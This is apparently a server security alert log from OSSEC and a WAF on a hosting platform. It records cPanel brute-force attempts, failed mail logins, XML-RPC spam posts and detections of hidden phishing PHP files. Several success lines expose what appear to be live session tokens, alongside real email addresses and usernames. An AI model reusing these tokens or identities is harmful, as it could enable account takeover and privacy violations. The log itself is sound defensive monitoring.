country_id: 3469034
description:
[2026-06-08 12:21:45 +0000] info [cpaneld] 45.174.167.72 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.6.218.23
country_id: 3508796
description:
[2026-06-08 12:21:55 +0000] info [cpaneld] 186.6.218.23 - crrhuemo "GET /login/?login_only=1&user=crrhuemo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.20.186.132
country_id: 1605651
description:
[2026-06-08 12:21:58 +0000] info [cpaneld] 1.20.186.132 - crrhuem "GET /login/?login_only=1&user=crrhuem&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhuem (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.118.118
country_id: 1512440
description:
[2026-06-08 12:22:14 +0000] info [cpaneld] 213.230.118.118 - cr "GET /login/?login_only=1&user=cr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.77.21.154
country_id: 3996063
description:
[2026-06-08 12:21:53 +0000] info [cpaneld] 200.77.21.154 - crrhuemoaorg "GET /login/?login_only=1&user=crrhuemoaorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhuemoaorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.32.139.216
country_id: 2017370
description:
[2026-06-08 12:22:01 +0000] info [cpaneld] 95.32.139.216 - crrhue "GET /login/?login_only=1&user=crrhue&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhue (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.162.214.13
country_id: 3895114
description:
[2026-06-08 12:22:11 +0000] info [cpaneld] 181.162.214.13 - crr "GET /login/?login_only=1&user=crr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crr (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:22:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:15239: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.133.23.65
country_id: 3439705
description:
[2026-06-08 12:22:03 +0000] info [cpaneld] 190.133.23.65 - crrhu "GET /login/?login_only=1&user=crrhu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhu (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:23:19 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:15246: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [08/Jun/2026:12:24:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855014&pdata=https%253A%252F%252Ftdn.tg%252Ftogblekope-conseiller-president-du-conseil-interpelle%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780921453 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togblekope-conseiller-president-du-conseil-interpelle/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 12:24:05 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:54160: 535 Incorrect authentication data (set_id=mailroom)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.18
country_id: 2635167
description:
[2026-06-08 12:24:53 +0000] info [cpaneld] 5.230.153.18 NEW dvhzmira:lbFTMKvniADF3h0y address=5.230.153.18,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.165
country_id: 1880251
description:
47.128.96.165 - - [08/Jun/2026:12:25:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673114&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-pieces-etablissement-carte-nationale-identite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780921503 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-pieces-etablissement-carte-nationale-identite/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.165


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.235.24.4
country_id: 1527747
description:
2026-06-08 12:25:06 H=([77.235.24.4]) [77.235.24.4]:62878 F=<John@4452.com> rejected RCPT <dba.moyenmono@ceni.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:25:40 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:15313: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [08/Jun/2026:12:26:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247766&pdata=https%253A%252F%252Ftdn.tg%252Ftogblekope-conseiller-president-du-conseil-interpelle%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780921602 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togblekope-conseiller-president-du-conseil-interpelle/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 164.40.6.159
country_id: 1522867
description:
2026-06-08 12:26:44 H=([164.40.6.159]) [164.40.6.159]:43792 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 206.62.54.171
country_id: 1522867
description:
2026-06-08 12:26:15 H=([206.62.54.171]) [206.62.54.171]:17065 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:26:44 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:15316: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 12:26:00 +0000] info [webmaild] 160.242.195.10 - kfandonougbo@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 12:27:31 +0000] info [webmaild] 160.242.195.10 - hakpandza@caissederetraites.tg "GET /cpsess1862561239/3rdparty/roundcube/?_task=mail&_refresh=1&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:27:44 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:15321: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350257
name: IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2
abuser: 102.64.170.217
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2||MVN:ARGS:shortcode||MV:[embed]https://youtu.be/wK7Nnf-CYFI[/embed]||WPU:direct7tv||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.168.77
country_id: 3723988
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9e1aeb389efd468d842bed25b63cf84d168decc0||Title:vtqvhdlrtag99sp672||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.76.153.6
country_id: 1522867
description:
2026-06-08 12:29:05 H=([5.76.153.6]) [5.76.153.6]:25001 F=<John@4452.com> rejected RCPT <contacts@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.168.77
country_id: 3723988
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ad6b21938cf392f900c2f7965ab02f92c5bde174||Title:2alz6epfyn824s6r||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.187.231
country_id: 6251999
description:
[2026-06-08 12:30:03 +0000] info [cpaneld] 209.50.187.231 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.168.77
country_id: 3723988
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a7bc8a4a2c9e6a58cd50eab48ef5946bb717a76f||Title:na8ray37n75n8htc||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.223
country_id: 2635167
domain: sophie-immobilier.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mipbtgnb/public_html/.377318272978189.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.168.77
country_id: 3723988
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f124c4e8385c8865b1281d52fb4cefe37020cb60||Title:ubeub10ypt9e5d||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.38
country_id: 2635167
description:
[2026-06-08 12:31:43 +0000] info [cpaneld] 5.230.153.38 NEW ifxmoxbf:oNjOO0JU9Uh4k9dM address=5.230.153.38,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.225
country_id: 2635167
description:
[2026-06-08 12:31:48 +0000] info [cpaneld] 5.230.133.225 NEW mipbtgnb:LXrErPO84LcWs8Lh address=5.230.133.225,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.131.101.188
country_id: 458258
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:45.131.101.188||TA:45.131.101.188||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.112
country_id: 3017382
description:
[2026-06-08 12:31:32 +0000] info [cpaneld] 5.231.255.112 NEW dvhzmira:ZUf18w9fKG2fvq94 address=5.231.255.112,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.163
country_id: 3017382
description:
[2026-06-08 12:31:45 +0000] info [cpaneld] 5.231.255.163 NEW mipbtgnb:kBZyld3dhOW_uS6O address=5.231.255.163,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.98
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.069294021060951.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.253
country_id: 2635167
domain: sophie-immobilier.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mipbtgnb/public_html/.299736968491733.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.78
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.123760969728571.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.78
country_id: 3017382
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.426144375079886.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-08 12:32:00 +0000] info [cpaneld] 196.170.108.172 - zxtqbmmj "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.136
country_id: 2635167
description:
[2026-06-08 12:31:52 +0000] info [cpaneld] 5.230.153.136 NEW vuvwskxh:kKGHwyExSBaua6eJ address=5.230.153.136,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.19
country_id: 6252001
domain: sophie-immobilier.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mipbtgnb/public_html/.034710344708415.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.168.77
country_id: 3723988
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:97854b4f61019200e50d79e2206c2b90df1bf4d0||Title:i1fqmrgn9qj962c6op||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.169.15.235
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160502||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 46.250.173.58
country_id: 3996063
description:
46.250.173.58 - - [08/Jun/2026:12:33:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725382&pdata=https%253A%252F%252Feducplusmedia.tg%252F2026%252F01%252F16%252Fdot-coutumiere-et-etat-civil-quand-des-couples-reconnus-par-la-tradition-restent-celibataires-aux-yeux-de-letat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780921995 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2026/01/16/dot-coutumiere-et-etat-civil-quand-des-couples-reconnus-par-la-tradition-restent-celibataires-aux-yeux-de-letat/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:46.250.173.58


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.168.77
country_id: 3723988
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:83819d9559b4c4c924f5218cf1b9de2763842196||Title:i837m7rb91zcgghre||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.168.77
country_id: 3723988
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4f6e78fc83fd5f801df51ee3467f2f86a1e81f76||Title:7u4dzldigvrzkjh1em||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.168.77
country_id: 3723988
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e336a80db91aad475ce766ee7350db2a5bb614a0||Title:0vxce781zkmqide1wy||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.72.250
country_id: 1512440
description:
2026-06-08 12:35:43 H=([84.54.72.250]) [84.54.72.250]:58848 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.168.77
country_id: 3723988
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e7f067ef7e1398cd3cb82680b2b797b9e9736583||Title:io0wb7ky1k4imn75||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:12-38.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.59.132.248
country_id: 290557
description:
[2026-06-08 12:38:00 +0000] info [cpaneld] 94.59.132.248 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.245.174.205
country_id: 3996063
description:
[2026-06-08 12:38:04 +0000] info [cpaneld] 177.245.174.205 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Significant Prize eropolik.blogspot.sg wY||Email:ibanguloma@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.160.56.208
country_id: 3469034
description:
[2026-06-08 12:38:21 +0000] info [cpaneld] 45.160.56.208 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.10.204.239
country_id: 3686110
description:
[2026-06-08 12:38:28 +0000] info [cpaneld] 161.10.204.239 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.120.255.24
country_id: 3625428
description:
[2026-06-08 12:38:31 +0000] info [cpaneld] 190.120.255.24 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.179.33.135
country_id: 2361809
description:
[2026-06-08 12:37:55 +0000] info [cpaneld] 102.179.33.135 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.28.18
country_id: 2363686
description:
[2026-06-08 12:40:43 +0000] info [cpaneld] 196.171.28.18 NEW togoinrdceh:7g6CMgib9rZ8f42H address=196.171.28.18,app=cpaneld,creator=togoinrdceh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.18.13
country_id: 6251999
description:
[2026-06-08 12:41:23 +0000] info [cpaneld] 195.63.18.13 - arsjawjaz "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.138
country_id: 6252001
description:
[2026-06-08 12:42:24 +0000] info [cpaneld] 173.211.89.138 NEW nxpivbcy:x6Psn6jjyBUGv3tA address=173.211.89.138,app=cpaneld,creator=nxpivbcy,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kekeli.alemawo@togointerim.net [06/08/2026:12:42:53 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kekeli.alemawo@togointerim.net


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.179
country_id: 2635167
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nxpivbcy/public_html/.486931975684152.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.78
country_id: 6252001
description:
[2026-06-08 12:43:35 +0000] info [cpaneld] 134.195.83.78 NEW ohuuvcqw:buJ1Hhzs0ybCbNHa address=134.195.83.78,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.238
country_id: 6252001
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.000897340478363.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.230
country_id: 2635167
description:
[2026-06-08 12:43:39 +0000] info [cpaneld] 5.230.153.230 NEW hphhdcxi:6i1Jqnif1MRuGS5h address=5.230.153.230,app=cpaneld,creator=hphhdcxi,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.46
country_id: 2635167
description:
[2026-06-08 12:43:34 +0000] info [cpaneld] 5.230.153.46 NEW ohuuvcqw:V2vOky8u6YyuD2OK address=5.230.153.46,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.19
country_id: 6252001
description:
[2026-06-08 12:43:38 +0000] info [cpaneld] 64.44.59.19 NEW sodigaz:xg2cUOWbuwC2lGe4 address=64.44.59.19,app=cpaneld,creator=sodigaz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.166.207.45
country_id: 3469034
description:
[2026-06-08 12:44:03 +0000] info [cpaneld] 45.166.207.45 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.94.63.72
country_id: 2635167
description:
[2026-06-08 12:44:07 +0000] info [cpaneld] 31.94.63.72 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.242.136.99
country_id: 2017370
description:
[2026-06-08 12:44:19 +0000] info [cpaneld] 94.242.136.99 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.222.203.36
country_id: 3686110
description:
[2026-06-08 12:44:35 +0000] info [cpaneld] 129.222.203.36 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.134.43.50
country_id: 1210997
description:
[2026-06-08 12:44:16 +0000] info [cpaneld] 103.134.43.50 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.55.172.159
country_id: 1522867
description:
[2026-06-08 12:44:43 +0000] info [cpaneld] 92.55.172.159 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.41.184
country_id: 2542007
description:
[2026-06-08 12:44:10 +0000] info [cpaneld] 105.155.41.184 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.205.153.244
country_id: 3469034
description:
[2026-06-08 12:45:00 +0000] info [cpaneld] 168.205.153.244 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.92.227.20
country_id: 3017382
description:
[2026-06-08 12:45:08 +0000] info [cpaneld] 89.92.227.20 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.84.119.126
country_id: 3686110
description:
[2026-06-08 12:45:05 +0000] info [cpaneld] 190.84.119.126 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.184.197.51
country_id: 99237
description:
[2026-06-08 12:45:27 +0000] info [cpaneld] 185.184.197.51 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.190.158.117
country_id: 3469034
description:
[2026-06-08 12:45:33 +0000] info [cpaneld] 45.190.158.117 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.139.137.22
country_id: 1512440
description:
[2026-06-08 12:45:15 +0000] info [cpaneld] 185.139.137.22 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.191.0.150
country_id: 3932488
description:
[2026-06-08 12:45:19 +0000] info [cpaneld] 132.191.0.150 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.9.221.246
